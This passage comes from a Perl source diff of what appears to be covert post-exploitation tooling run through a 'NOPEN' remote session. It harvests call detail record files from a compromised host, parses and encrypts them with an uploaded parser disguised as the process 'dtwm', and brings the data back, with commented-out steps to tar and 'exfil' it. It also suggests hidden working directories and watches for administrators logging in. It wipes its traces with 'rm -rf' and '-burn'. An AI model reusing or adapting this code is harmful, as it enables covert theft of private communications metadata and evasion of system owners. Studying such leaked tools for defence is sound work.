($file =~ /\.Z$/ and !$Z++) { + $uncompressopts = getverboseopt("uncompress") unless (length $uncompressopts); + $uncompress .= "; " if $uncompress; + $uncompress .= "uncompress$uncompressopts $workdir/*.Z 2>/dev/null || gzip -d $workdir/*.Z"; + } elsif ($file =~ /\.bz2$/ and !$bz2++) { + $bunzip2opts = getverboseopt("bunzip2") unless (length $bunzip2opts); + $uncompress .= "; " if $uncompress; + $uncompress .= "bunzip2$bunzip2opts $workdir/*.bz2"; + } + $list .="$file "; + # First file in batch determines our local filename for .enc file + unless ($datafile) { + $datafile = "$file.enc"; + $datafile =~ s,/,_,g; + if (-f "$datadir/$datafile") { + # Then this batch has been written already, we skip this time + $skipbatch++; + } + } + if (!$skipbatch and $list and length $list > 1990) { + my ($output,,@output) = doit("cp -p $list $workdir ; echo $?"); + $list=""; + mydie("Copy command resulted in an error") + if ($output[$#output] ne "0"); + } + } + if (!$skipbatch and $list) { + dbg("list=$list="); + my ($output,,@output) = doit("cp -p $list $workdir ; echo $?"); + $list=""; + mydie("Copy command resulted in an error") + if ($output[$#output] ne "0"); + } + if ($skipbatch) { + mywarn("SKIPPING THIS BATCH DONE ALREADY EARLIER"); + doit("rm -f $workdir/*") unless $skiprm++; + $done++ unless @completelssoutput; + next; + } + doit("-ls $workdir"); + if ($uncompress) { + my ($output,,@output) = doit("$uncompress ; echo $?"); + mydie("$uncompress command resulted in an error") + if ($output[$#output] ne "0"); + doit("-ls $workdir"); + unless ($postdfpct) { + ($postdfoutput,$postdfavail,$postdfpct,@postdfoutput) = mydfcheck($workdirparent); + my $pctchange = ((100 * $postdfpct / $predfpct) - 100) + if $predfpct > 0; +dbg("pctchange=$pctchange="); + $pctchange = sprintf("%2.1f",$pctchange); +dbg(" + + +pre=(@predfoutput) +post=(@postdfoutput) + +pre=$predfoutput= +post=$postdfoutput= + + + +pctchange=$pctchange= ((100 * $postdfpct / $predfpct) - 1);"); + offerabort + ("Prior to cp/uncompress, =df $workdirparent returned:\n ". + join("\n ",@predfoutput)."\n". + "After the cp/uncompress, =df $workdirparent returned:\n ". + join("\n ",@postdfoutput)."\n". + "The file system with our temporary files shrunk after cp/uncompress by:\n". + " int($predfavail-$postdfavail)=".int($predfavail-$postdfavail)." kbytes, or $pctchange%.". + ""); + } + } + my ($output,$nopenlines,@output) = +# FOR DEBUGGING ONLY ECHO OUTPUT HERE MESSES UP OUR OUTPUT FILES +# doit("cd $workdir; cp ../awk . ;export B=\"--Ct_#37Uw5_80n -m 4 -k $cryptkey -l '$workdir/*' -P ./awk\" ; echo B is \$B ; echo ; $runas ; echo"); + doit("cd $workdir; cp ../awk . ;export B=\"$parserkey -m 4 -k $cryptkey -l '$workdir/*' -P ./awk\" ; $runas ; echo"); +dbg(" + + + +output=$output= + + + +"); + $bytecount += length $output; + if (open(CDROUT,">>$datadir/$datafile")) { + chomp($output); + print CDROUT $output; + } else { + mydie("$!: OPEN >>$datadir/$datafile FAILED"); + } + close(CDROUT); + + doit("rm -f $workdir/*"); +#mydie("TEST PASS DONE REMOVE THIS mydie IF GOOD"); + $done++ unless @completelssoutput; +} + +my ($s,$moredate) = (); +unless (!$maxdate or $maxdate eq $mindate) { + $s = "s"; + $moredate = " through $maxdate"; +} + + +$s = $filecount > 1 ? "s" : ""; + +mydie("DONE with date$s $mindate$moredate + +This instance of $prog processed:\n\n + $filecount file$s, bringing back $bytecount bytes + +If a watch mode $prog is still running, and ALL instances of +$prog are done, paste this in any NOPEN +window, this touch will cause the watch mode to clean up: + + -cd /tmp + -lsh touch $opdir/BAILNOW + +And (again, if ALL instances are done), this will start a Pack-up +mode instance of $prog: + +$prog $origargs -P + + +"); + + + +# BELOW HERE IS OLD START HERE + +exit; + + +#my @getlist = (); + +#foreach (@completelssoutput) { +# my ($size,$file) = m,\s\d+\s+\S+\s+\S+\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d\d:\d\d \d\d\d\d (/.*),; +# next unless $size > 0; +# push (@getlist,$file); +#} + +##TODO: needs to prompt the user making sure this is an alright directory to create... + +##creates p dir +#my $remoteCWD = $targetcwd . "\/p"; +#doit ("echo creating $remoteCWD"); +#doit ("mkdir $remoteCWD"); + +##/current/up/cursetingle.v1.1.1.1.AIX.5.1.targetdl +#my @cmdList = (); +## TODO: need to put in warning about loading parser and arg file in the correct dir... + +## creates a list of files with .enc1 added +##foreach (@getlist){ +## push (@cmdList, "$_\.enc1"); +##} + +##uploads the parser; uploading as dtwm (blends in better with other processes) +#doit ("-put /current/up/cursetingle.v1.1.1.1.AIX.5.1.targetdl $targetcwd/dtwm"); +#doit ("-put /current/down/argfiles/argfile_forward.enc $targetcwd/awk"); + +##loads an array with the commands + +#my $execCmd = ""; +#doit ("-lsh mkdir -p $localcwd/coll"); +#doit ("-lsh mkdir -p $localcwd/coll/$nopen_rhostname"); + +##foreach (@getFileList) +##{ +## # rm previous directory +## $execCmd = "rm -f $remoteCWD/*\; "; + +## # cp gzip file and uncompress... +## $execCmd .= "cp $cdrDir/$_ $remoteCWD; gunzip $remoteCWD/*.gz ; "; + +## # cp support files +### $execCmd .= " cp $targetcwd/awk $remoteCWD ; "; + +## # fire parser +### $execCmd .= "B=\'--Ct_#37Uw5_80n -m 4 -k da27cfbedb0d188a56d97ccccf4aa11e -l $remoteCWD/* -P $remoteCWD/awk\' $targetcwd/dtwm "; +## $execCmd .= " cat $remoteCWD/* "; + +## # write results +## $execCmd .= " >T:$localcwd/coll/$nopen_rhostname/$_.enc1"; + +## doit ("$execCmd"); +##} + + +## remove everything +## TODO: prompt for checks!!! +#doit ("/bin/rm -f $targetcwd/awk $targetcwd/dtwm"); +#doit ("/bin/rm -rf $remoteCWD"); + +#$cryptkey = "da27cfbedb0d188a56d97ccccf4aa11e"; + +#progprint(".\nWill be running this for each filename i:\n $COLOR_FAILURE\n cryptTool.v1.0.Linux2.4.18-14.targetdl -i \$i -o \`basename \$i\`.txt1 -k $cryptkey -d -c "); + +##my $cdroutputDir = $localcwd . "/coll/" . $nopen_rhostname; +##doit("-lsh for i in $cdroutputDir/* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i \$i -o \$n.txt -k da27cfbedb0d188a56d97ccccf4aa11e -d -c ; done"); +#doit("-lsh cd /current/down/coll/$nopen_rhostname ; for i in * ;do cryptTool.v1.0.Linux2.4.18-14.targetdl -i \$i -o \`basename \$i\`.txt1 -k $cryptkey -d -c ; done"); + +#doit("-lsh mkdir /current/cdrtar; cp -R /current/down/coll/$nopen_rhostname /current/cdrtar; cd /current/cdrtar/$nopen_rhostname; find . -empty -print | xargs /bin/rm ; find . -print | egrep -v \".txt1\" | xargs /bin/rm -r"); + +#progprint(".\nThe tar and exfil option was entered on the command line.\n $COLOR_FAILURE\n Will now tar all decrypted data. \n\n The file will be named /current/cdrtar/cdrhits.$projectname.$nopen_rhostname.tar.bz2 "); +#doit("-lsh tar cvjf /current/cdrtar/cdrhits$projectname.$nopen_rhostname.tar.bz2 /current/cdrtar/$nopen_rhostname"); +##copy-fast tar file +#progprint(".\n $COLOR_FAILURE\n Will now copy fast /current/cdrtar/cdrhits.$projectname.$nopen_rhostname.tar.bz2 \n\n Watch to make sure it doesn't fail !"); +#doit("-lsh 1x -hold -e /usr/local/bin/copy-fast NOZIP /current/cdrtar "); + + +#exit; + + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs getcdrhitsgz"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=getcdrhitsgz\" is used. + +"; + + + # DEFAULTS + $def_E = ".gz"; + $def_C = 10; + $def_c = "procclean"; + $def_r = "dtwm"; + $def_S = "17"; + $def_s = "9000"; + $def_i = "1800"; + $def_f = 85; + $def_j = 2; + + $datadir = "$opdown/via.getcdrhitsgz.$nopen_rhostname"; + + $bailfile = "$optmp/BAILGETCDRHITS.$$"; + + @defpaths = ("er*/aux_*/output/final"); + + + mydie("bad option(s)") if (! Getopts( "hvl:d:L:b:k:K:T:E:m:M:C:Ww:c:S:s:Bi:Pf:j:" ) ) ; + + $watchmode = ($opt_W or $opt_w); + $packmode = $opt_P; + + $gsusagetext= setusagetext(); + usage() if ($opt_h or $opt_v); + $dfpctalert = defined $opt_f ? $opt_f : $def_f; + $dfjumppctalert = defined $opt_j ? $opt_j : $def_j; + $cupname = defined $opt_c ? $opt_c : $def_c; + $cupinactivedelay = defined $opt_i ? $opt_i : $def_i; + $cupsleep = defined $opt_s ? $opt_s : $def_s; + $runas = defined $opt_r ? $opt_r : $def_r; + $processcount = defined $opt_C ? $opt_C : $def_C; + $checkdelay = defined $opt_S ? $opt_S : $def_S; + $pathend = defined $opt_E ? $opt_E : $def_E; + $pathmask = $opt_L; + $listfile = $opt_l; + + if ($watchmode) { + # Options here only matter in $watchmode + mydie("-S $checkdelay must be a positive integer at most 300") + if (!($checkdelay =~ /^\d+$/) or + $checkdelay == 0 or + $checkdelay > 500 + ); + + } else { + # These options do not matter in $watchmode + mydie("-C $processcount must be a positive integer at most 500") + if (!($processcount =~ /^\d+$/) or + $processcount == 0 or + $processcount > 500 + ); + + # Building regexp for file matching. + # FILENAME ENDING/EXTENSION IF ANY + if ($pathend eq "NONE") { + $pathend = "*"; + } else { + $pathend = "*$pathend"; + } + + mydie("Either or both -l/-L PATHmask option is required") unless $pathmask or $opt_l; + mydie("-L PATHmask must start with /") + if ($pathmask and !($pathmask =~ m,^/.+,)); + + @pathmasks = split(/,,/,$pathmask); + %pathmasks = (); + if ($listfile) { + if (open(GETCDRHITSIN,$listfile)) { + while () { + s/^\s*//; + s/\s*$//; + next if /^#/; + unless (m,^/.+,) { + mywarn("Ignoring malformed mask from $listfile: $_"); + next; + } + push(@pathmasks,$_) if $_; + } + close(GETCDRHITSIN); + } else { + mydie("Cannot open listfile (-l) $listfile"); + } + } + + foreach (@pathmasks) { + mydie("PATH masks must contain both YYYYMM and YYYYMMDD strings,\n". + "(The letters YYYYMM and YYYYMMDD, no digits!!)\n". + "e.g.:\n\n". + " /rmhome/cdrfile/bak/voiceadencdr/cdr.HW*YYYYMM/HW*YYYYMMDD*") + unless (/YYYYMM.*YYYYMMDD/); + my ($dirmask,$filemask) = m,^(/.*YYYYMM/)([^/]+YYYYMMDD),; + $pathmasks{$dirmask} = $filemask; + } + mydie("No valid PATH masks provided, use either -L or -l option to do so.") + unless (%pathmasks); + + # Date ranges, last part we use to filter data files + $mindate = $opt_m; + mydie("-m option is required") unless $mindate; + mydie("-m $mindate option not in YYYYMMDD format") + unless ($mindate =~ /^\d{8}$/); + $maxdate = defined $opt_M ? $opt_M : $opt_m; + mydie("-M $maxdate option not in YYYYMMDD format") + unless ($maxdate =~ /^\d{8}$/); + mydie("-m $mindate is NOT less than or equal to -M $maxdate") + unless (19000100 < $mindate and + $mindate <= $maxdate and + $maxdate < 99991232 + ); + my ($m,$d) = $maxdate =~ /(\d\d)(\d\d)$/; + mydie("Invalid month or day in -M $maxdate") + unless ($m > 0 and $m < 13 and + $d > 0 and $d < 32); + ($m,$d) = $mindate =~ /(\d\d)(\d\d)$/; + mydie("Invalid month or day in -m $mindate") + unless ($m > 0 and $m < 13 and + $d > 0 and $d < 32); + + if ($skipexpr = $opt_b) { + mydie("-b \"$skipexpr\" cannot contain whitespace") + if $skipexpr =~ /\s/; + my @exprs = split(/,,/,$skipexpr); + $skipexpr = ""; + foreach (@exprs) { + $skipexpr .= "\|$_"; + } + } + $skipexpr =~ s/^\|//; + } +#dbg("verbose=$verbose= opt_V=$opt_V"); + + if ($opt_d) { + $workdir = $opt_d; + } + + $socket = pilotstart(quiet); + + # grabs the cwd + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome, + $localpid,$localppid,$serverver,$wdir,$targetos, + $targetcwd,$targetpid,$targetppid) = parsestatus("force"); + + if (!$watchmode and !$packmode and + $host_hiddendir and + not ($targetcwd =~ m,^$host_hiddendir/[^/]+,)) { + my ($prompt,$more2) = + ( + "You have a hidden directory: $host_hiddendir\n". + "It would make sense to use a sub-sub-directory under there to work.\n\n". + "Do you want to create and use this for your parent working directory?\n". + " $host_hiddendir/cdz", + ); + ($ans) = mygetinput + ($prompt, + "Y" + ); + if ($ans eq "y") { + doit("mkdir $host_hiddendir/cdz", + "-cd $host_hiddendir/cdz"); +# ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome, +# $localpid,$localppid,$serverver,$wdir,$targetos, +# $targetcwd,$targetpid,$targetppid) = parsestatus("force"); + ($cdroutput,$cdrnopenlines,@cdroutput) = + doit("-ls -d $host_hiddendir/cdz"); + if ($cdroutput =~ /^d.*cdz$/) { + my $mored = "\n$COLOR_FAILURE AND REMOVE -d $opt_d option" if $opt_d; + mydie("OK, up-arrow and try again from this directory$mored."); + } else { + mydie("Cannot mkdir $host_hiddendir/cdz. Something is wrong."); + } + } + } + + my $defaultstr = ""; + my ($wdirname,$wdirext) = ("c",0); + unless ($workdir) { + ($cdroutput,$cdrnopenlines,@cdroutput) = + doit("-ls $targetcwd"); + my @dirs = grep /^d/,@cdroutput; + @dirs = grep !/\s\.{1,2}$/,@dirs; + while (1) { + $wdirext++; +dbg(" +Looking for grep /\\d\\s$targetcwd/$wdirname\\.$wdirext\$/,\@dirs +Got dirs=(\n".join("\n",@dirs).")"); + next if grep m,\d\s$targetcwd/$wdirname\.$wdirext$, ,@dirs; + last; + } + $workdir = "$targetcwd/$wdirname.$wdirext"; + $defaultstr = "Defaulting to next available working directory, $workdir.\n\n"; + } + $workdir =~ s,/+,/,g; + $workdirparent = dirname($workdir); + + # Some more checking on target before we commit + ($cdroutput,$cdrnopenlines,@cdroutput) = doit("-ls -d $workdir"); + mydie("Target working directory $workdir cannot already exist") + if ($cdroutput); + if ($workdirparent =~ m,^/+$,) { + doit("pwd","-cd /tmp"); + mydie("Your NOPEN CWD was not valid!!\n". + "Just did a -cd /tmp, so try again."); + } + mydie("WTF?") if ($workdirparent eq $workdir); + + mydie("Parent of your workdir CANNOT be /tmp (we wipe from parent on down)") + if ($workdirparent =~ m,/+tmp/*$,); + + + # All we need is now set for watch process. + if ($watchmode) { + watchbail($opt_w); + } + + if ($opt_k) { + $cryptkey = lc $opt_k; + } + + mydie("Required -k argument must be all hex") + unless ($cryptkey =~ /^[0-9a-f]+$/); + + # Now the local cryptTool. + chomp($crypttool = `which cryptTool`); + unless ($crypttool) { + chomp($crypttool = `ls -rt $opbin/cryptTool*Linux* | tail -1`); + while (!($crypttool and -f $crypttool and -x _ and -s _)) { + ($ans,$crypttool) = mygetinput("What local cryptTool should we use (or enter ABORT)?"); + mydie("User aborted") if $crypttool eq "ABORT"; + } + } + progprint($COLOR_NORMAL."\n\nUsing local tool $crypttool"); + + # All we need for packmode is now set + if ($packmode) { + packupanddie($opt_T); + } + + if ($opt_K) { + $parserkey = $opt_K + } + mydie("-K argument is required") + unless ($parserkey); + + +# my $touchfile = "$workdirparent"; +# $touchfile =~ s,/,_,g; +# $touchfile = "$optmp/CREATED.$touchfile"; + ($cdroutput,$cdrnopenlines,@cdroutput) = + doit("ls -d $workdirparent || mkdir -p $workdirparent"); +dbg("output=$cdroutput="); + if ($cdroutput =~ /no such/i) { # so it didn't exist, now it does +# `touch $touchfile`; + ($cdroutput,$cdrnopenlines,@cdroutput) = + doit("ls -d $workdirparent"); + mydie("WTF? The directory should be there now???") + unless $cdroutput eq "$workdirparent\n"; + } elsif ($cdroutput =~ m,^$workdirparent\s*$,) { + offerabort($defaultstr. + "Parent directory ($workdirparent) of\n". + "working directory ($workdir)\n".$COLOR_FAILURE. + "ALREADY EXISTS!\n\n".$COLOR_NORMAL. + "This is fine if $workdirparent is our directory already.\n\n". + "When/if $prog bails, it will issue the command:\n". + " rm -rf $workdirparent\n\n". + "You should only continue if you know that is our directory for sure." + ); + } else { + mydie("Unexpected result, is $workdirparent a file?"); + } + foreach my $dir (keys %pathmasks) { + $dir = dirname($dir); + ($cdroutput,$cdrnopenlines,@cdroutput) = doit("-ls -d $dir"); + mydie("Target directory $dir does NOT exist") + unless ($cdroutput); + } + + nopenaddpath($workdirparent); + + # First, the parser. Figure out which or if it is there already. + my $uploadparser = 1; + my ($listing) = doit("-ls $workdirparent/$runas"); + $parser = ""; + if ($listing) { + mydie("Something is wrong, $runas exists on target as a non-file") + unless ($listing =~ /^-/); + ($ans) = mygetinput + ("$workdirparent/$runas is already there.\n\n". + "Is that the correct parser?","Y"); + if ($ans eq "y") { + $uploadparser = 0 ; + } else { + doit("-rm $workdirparent/$runas"); + } + } + if ($uploadparser) { + # So not there yet +# $listing = `find $opup/curse* -type f -ls | lss | sed "s/.* -rw.* root//g" |tee /tmp/listing`; +# $listing = `find $opup/curse* -type f -ls | lss `; +# $listing = `find $opup/curse* -type f -o -type l`; + $listing = `ls -alL $opup/curse*/curse* 2>/dev/null | sed "s/.* root//g"`; + $listing = `ls -alL $opup/curse* 2>/dev/null | sed "s/.* root//g"` unless $listing; +dbg("FIRSTLISTING: + + + +$listing + + +"); + my @list = parelist(split(/\n/,$listing)); + $listing = join("\n",@list); +dbg("NEWPAREDGLISTING: + + +$listing + + +");# $listing = `find $opup/curse* -type f -ls | sed "s/.* -rw.* root//g" |tee /tmp/listing`; +# chomp($parser = `find $opup/curse* -type f -ls | lss | grep -i aix | tail -1`) +# if $aixtarget; +# chomp($parser = `find $opup/curse* -type f -ls | lss | grep -i sunos | tail -1`) +# if $sunostarget; + ($parser) = $list[$#list] =~ m,\s\d+\s(/.*),; + # ($parser) = $parser =~ m,\s\d+\s(/.*),; + $parser = "" unless (-f $parser); + $listing .= "\n\n" if $listing; + ($ans,$parser) = mygetinput + ($listing. + "Choose parser to upload.\n",$parser); + $parser = $1 if $parser =~ m,\s\d+\s(/.*),; + } + + #for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k da27cfbedb0d188a56d97ccccf4aa11e -b ; done + + ($cdroutput,$cdrnopenlines,@cdroutput) = doit("-ls -d $workdirparent/awk"); + my $uploadawk = 1; + if ($cdroutput) { + ($ans) = mygetinput + ("awk is already in $workdirparent.\n". + "Is that the correct argfile?","Y"); + if ($ans eq "y") { + $uploadawk = 0 ; + } else { + doit("-rm $workdirparent/awk"); + } + } + if ($uploadawk) { + # Now the argfiles. Encrypt any not ending in .enc, + # touch to same time as original. + $listing = `find $opdir/ -type f -ls | lss | grep -i argfile | sed "s/.*root //g"`; + dbg("find $opdir/ -type f -ls | lss | grep -i argfile | sed \"s/.*root //g\" + +argfile listing=$listing="); + my @tmp = split(/\n/,$listing); + my ($encryptedcount,$cleartext) = (); + foreach (grep !/enc$/,@tmp) { + ($argfile) = m,\s\d+:\d\d\s(/.*),; + my $newfile = $argfile; + $newfile =~ s/\.txt$//; + $newfile .= ".enc"; + $encryptedcount++; + $cleartext .= ":::::::::::::: ${argfile} BEGIN\n". + `cat $argfile`.":::::::::::::: ${argfile} END\n"; + dbg("Running: $crypttool -i $argfile -o $newfile -k $cryptkey -b +". `$crypttool -i $argfile -o $newfile -k $cryptkey -b 2>&1`); + + `$crypttool -i $argfile -o $newfile -k $cryptkey -b`; + `touch -r $argfile $newfile`; + } + $listing = `find $opdir/ -type f -ls | lss | grep -i argfile.*enc\$ | sed "s/.*root //g"`; + @tmp = split(/\n/,$listing); + ($argfile) = $tmp[$#tmp] =~ m,\s\d+:\d\d\s(/.*),; + if (!($argfile =~ /enc$/)) { + ($argfile) = $tmp[$#tmp - 1] =~ m,\s\d+:\d\d\s(/.*),; + } + $listing .= "\n\n" if $listing; + $listing = "Cleartext Argfiles:\n$cleartext\n\n$listing" + if $cleartext; + + $listing .= "(Just encrypted $encryptedcount argfiles)\n\n" + if $encryptedcount; + ($ans,$argfile) = mygetinput + ($listing. + "Argfile to use?",$argfile); + } + offerabort("Last chance to abort before processing begins."); + if ($parser) { + mydie("Parser ($parser) and argfile ($argfile)\n". + "must exist locally and be non-empty:\nls -al $parser $argfile\n". + `ls -al $parser $argfile`) + unless (-f $parser and -s $parser and + -f $argfile and -s $argfile); + } + + ($predfoutput,$predfavail,$predfpct,@predfoutput) = mydfcheck($workdirparent); + + if ($uploadawk) { + mydie("Argfile ($argfile)\n". + "must exist locally and be non-empty:\nls -al $argfile\n". + `ls -al $argfile`) + unless (-f $argfile and -s $argfile); + my $test = `file $argfile | grep -i ascii`; + mydie(".\n\nfile $argfile\n$test\n\nArgfile cannot be ascii.") + if (length $test > 4); + doit("-put $argfile $workdirparent/awk"); + } + doit("-put $parser $workdirparent/$runas"); + +} #myinit + +sub mydfcheck { + local ($path) = (@_); + my ($dfoutput,$nopenlines,@dfoutput) = doit("=df $path"); +dbg("dfoutput=(\n".join("\n",@dfoutput)."\n)"); + my $index = findindex("avail",split(/\s+/,$dfoutput[0])); + $index = findindex("free",split(/\s+/,$dfoutput[0])) unless $index > 0; + for (my $i=0;$i<@dfoutput;$i++) { + next if ($dfoutput[$i] =~ /(avail|free)/i); + if (!($dfoutput[$i] =~ /^\/.*\d+\s+\d+\s+\d+\s+\d+\%/) and + ($dfoutput[$i+1] =~ /^\s+\d+\s+\d+\s+\d+\s+\d+\%/) ) { + $dfoutput[$i] .= " ".$dfoutput[$i+1]; + $dfoutput[$i+1] = ""; + } + } +dbg("AFTER dfoutput=(\n".join("\n",@dfoutput)."\n)"); + @dfoutput = grep !/filesystem/i, grep /\%/,@dfoutput; + $dfoutput = join("\n",@dfoutput); + my ($dfpct) = $dfoutput =~ /(\d+)\%/; + my @tmp = split(/\s+/,$dfoutput[$#dfoutput]); + my $dfavail = $tmp[$index]; +dbg("tmp=(\n".join("\n",@tmp)."\n) and index=$index"); +dbg("mydfcheck(@_) return($dfoutput,$dfavail,$dfpct,@dfoutput);"); + return($dfoutput,$dfavail,$dfpct,@dfoutput); +} + +sub watchbail { + local ($psregexp) = (@_); + my $touchfile = "$opdir/BAILNOW"; + my $stopfile = "$opdir/STOPWATCH"; + if (-e $touchfile or -e $stopfile) { + offerabort(`ls -al $stopfile $touchfile 2>/dev/null`."\n". + "We only just got started, and the above file(s) already exists.\n". + "If you continue here, it will be deleted so we can start our watch"); + unlink($stopfile,$touchfile); + } + my $prompt = + "This watch mode $prog will recommend you bail if any of the\n". + "following happen:\n\n". + " * someone logs in\n". + " * your CUP script dies and $workdirparent is still there\n". + " * the file system grows over $dfpctalert\% full\n". + " * the file system grows by $dfjumppctalert\% in $checkdelay seconds\n". + " * the local file $touchfile exists\n". + " * it sees TWO or more ps commands running (not just us)\n". + "\n". + "To force cleanup for all instances of $prog using a working directory\n". + "beneath $workdirparent, you can LOCALLY execute the touch below\n\n". + "Bailing will entail executing the following on target:\n\n". + " rm -rf $workdirparent\n". + " -burn\n\n". + "Note, you will have to answer \"BURN\" to the -burn prompt to complete\n". + "the bail process."; + my ($localcup,$contents) = + buildcup($workdirparent,$cupname,$cupsleep); + + my $testsecs = $cupsleep - 1; + my $origprompt = $prompt; + # Cannot be in the dir you run rm -rf from. + $contents .= "$COLOR_FAILURE\n". + "NOTE: We prefer the \"bash\" shell, but apparently that is not in\n". + " your path (and not in /usr/local/bin either). Make sure the\n". + " CUP script runs without error.$COLOR_NORMAL\n\n" + unless ($contents =~ m,/bash,); + ($ans) = offerabort + (#".\n\n". + "CUP (clean-up) script that will be deployed as $cupname:\n\n". + $contents."\n\n". + "If you continue here, this watch/bail mode $prog will upload/execute\n". + "the above shell script. Watch its output, be sure the script indicates\n". + "the number of seconds as $testsecs. This will confirm the script is\n". + "counting down from $cupsleep properly.\n". + ""); + nopenaddpath($workdirparent); + doit("-put $localcup $workdirparent/$cupname"); + ($output) = doit("$cupname &"); + unless ($output =~ /you have $testsecs/) { + doit("rm $workdirparent/$cupname"); + mydie(".\n\nCup script did not run properly\n". + "(\"you have $testsecs\" line not seen)\n\n". + "GET HELP"); + } + sleep 2; + doit("-cd /tmp"); + my ($usercount,$usercountold,$burnit, + $kavail,$dfpct, + ) = (); + my $lastalert = time(); + while (!$burnit) { + my $ans = ""; + while (1) { + $ans = ""; + last if -f $touchfile; + my ($wps,@wps,@w,@ps,$nopenjunk, + $pscount,$pslines,@psregexphits, + $dfout,@df,@dfalert, + $thispct,$thisavail, + ) = (); + + ($wps,$nopenjunk,@wps) = doit("=ps ; ls -ald $workdirparent ; w"); +#TODO: test this =df goes into @ps first +# TODO: Look into % increasing too much, check count of users + + ($dfout,$nopenjunk) = doit("=df $workdirparent"); + $dfout =~ s,[ \t]+, ,g; + $dfout =~ s,^\s*,,g; + $dfout =~ s,\n\s+,\n,g; + # We build @df from $dfout, which may have two lines when FIRST + # field (file system) is long (so it contains no spaces) + my $i = 0; + foreach (split(/\n/,$dfout)) { + $df[$i] .= " " if length $df[$i]; + $df[$i] .= $_; + $i++ if (/\s+\S+\s+\S+\s+\S+/); # If at least 3 columns, line is complete + } + $dfout = join("\n",@df); + my $kbcol = findindex("kbytes",split(/ /,$df[0])); + $kbcol = findindex("K-b",split(/ /,$df[0])) + unless $kbcol >= 0; + $kbcol = findindex("kb",split(/ /,$df[0])) + unless $kbcol >= 0; + my $availcol = findindex("avail",split(/ /,$df[0])); + my $pctcol = findindex("capacity",split(/ /,$df[0])); + $pctcol = findindex("use\%",split(/ /,$df[0])) + unless $pctcol >= 0 ; + + @df = split(/\s/,$df[1]); + ($thispct) = $df[$pctcol] =~ /(\d+)\%/; + $thisavail = $df[$availcol]; + if ($thispct) { + if ($thispct > $dfpctalert) { + push(@dfalert,"\n\nPartition capacity ($thispct\%) in =df is > $dfpctalert\%.\n". + "If you do not bail here, the next alert will be $nextpct\%."); + } elsif ($dfpct and ($thispct - $dfpct > $dfjumppctalert)) { + push(@dfalert,"\n\nPartition capacity ($thispct\%) just jumped by more than $dfjumppctalert\%"); + } + } +#dbg("dfout=$dfout= +#kbcol=$kbcol= +#availcol=$availcol= +#pctcol=$pctcol= +#thisavail=$thisavail= +#thispct=$thispct= +#df=( +#=".join("=\n=",@df)."=\n)"); + + (@cuplines,$dircheck) = (); + foreach (@wps) { + if (/users*,\s.*load av/) { + push(@w,$_); + next; + } + if (@w) { + push(@w,$_); + } else { + $dircheck = $_ if (!$dircheck and m,^d.*$workdirparent$,); + # We populate @ps with the rest, until we hit the $dircheck + unless ($dircheck) { + push(@ps,$_) ; + $pscount++ if (m,[ /]ps ,); + if ($psregexp and /$psregexp/) { + push(@psregexphits,$_); + } + if (/\sroot\s.* .*sh .*$cupname/) { + dbg("FOUND a $cupname line: $_"); + push(@cuplines,$_);# do somethin with cuplines + } else { + dbg("Not a $cupname line: $_"); + } + } + } + } + unless ($dircheck) { + mygzdie(".\n\n". + "STOPPING WATCH PROCESS. $workdirparent is NOW GONE! We must be done."); + } + + $prompt .= "\n\n" if $prompt; + $prompt .= " BAIL with this touch: touch $touchfile\n". + " Halt watch with this: touch $stopfile\n\n". + "local time ".gmtime()." GMT:$COLOR_FAILURE Next =ps/w/=df in $checkdelay seconds..."; + progprint($COLOR_NORMAL."\n\n". + $prompt) ; + $prompt = ""; + $usercount = @w - 2; + my $wstring = join(@w,"\n"); + my $delayadjust = time(); +dbg("delayadjust=$delayadjust="); + my $delay = $checkdelay; + if ($usercount > $usercountold or + $pscount > 1 or @psregexphits or + @dfalert or + !@cuplines + ) { + my $minsincelastalert = (int(100*(time() - $lastalert) / 60)/100); + my $more = "Your last alert was $minsincelastalert minutes ago."; + $more .= "\n\nA new user logged in.\n\n$wstring\n\n" + if ($usercount > $usercountold); + $more .= "\n\nMORE THAN ONE ps COMMAND IS BEING RUN!!!\n".$pslines + if ($pscount > 1); + $more .= "\n\nFound match to /$psregexp/ in =ps output:\n". + join("\n",@psregexphits)."\n\n" + if (@psregexphits); + $more .= "\n\nYour CUP script IS GONE, but $workdirparent is still there.\n". + "That can only happen if someone KILLED YOUR CUP. Recommend\n". + "IMMEDIATE BAIL NOW!!\n\n" + if (!@cuplines); + my $nextpct = $dfpctalert + 1; + $more .= $dfalert[0] + if (@dfalert); + $dfpctalert = $nextpct; + alertwindow(555); + ($ans) = mygetinput + ($COLOR_FAILURE."\n\n". + $more. + "\n\nDo you want to bail now?","Y" + ); + $lastalert = time(); + $delayadjust -= time(); + $delay += $delayadjust; + dbg("secsleft=$secsleft= +delayadjust=$delayadjust= +delay=$delay= +"); + } + $kavail = $thisavail; + $dfpct = $thispct; + $usercountold = $usercount; + last if ($ans eq "y" or -f $touchfile); + progprint($COLOR_FAILURE."\n\n". + "Continuing, $delay seconds left until next check of =df, =ps, etc.") + if ($delay > 1 and $delay < $checkdelay); + unlink($touchfile); + $prompt = $origprompt if $ans; + while ($delay-- > 0) { + last if (-f $touchfile); + if (-f $stopfile) { + unlink($stopfile); + mygzdie("STOPPING WATCH PROCESS. Be careful!"); + } + sleep 1; + } + } + unlink($touchfile); + progprint($COLOR_FAILURE."\n". + "BAILING NOW! If you ^C this window before 3 seconds elapse, you can\n". + " avoid the rm -rf $workdirparent and the -burn (but you\n". + " should then rerun a $prog -W in watch/bail mode)."); + alertwindow(); + sleep 3; + $burnit++; + } + doit("rm -rf $workdirparent","-burn"); + mygzdie(".\n\nYou did not type BURN!!\n". + "The $workdirparent directory is GONE, but you are STILL ON!"); +}# watchbail + +sub mygzdie { + local (@arr) = (@_); + my ($them,$are,$a,$more,$more2,$s,$es,$more3) = ("it","is"," a"); + foreach 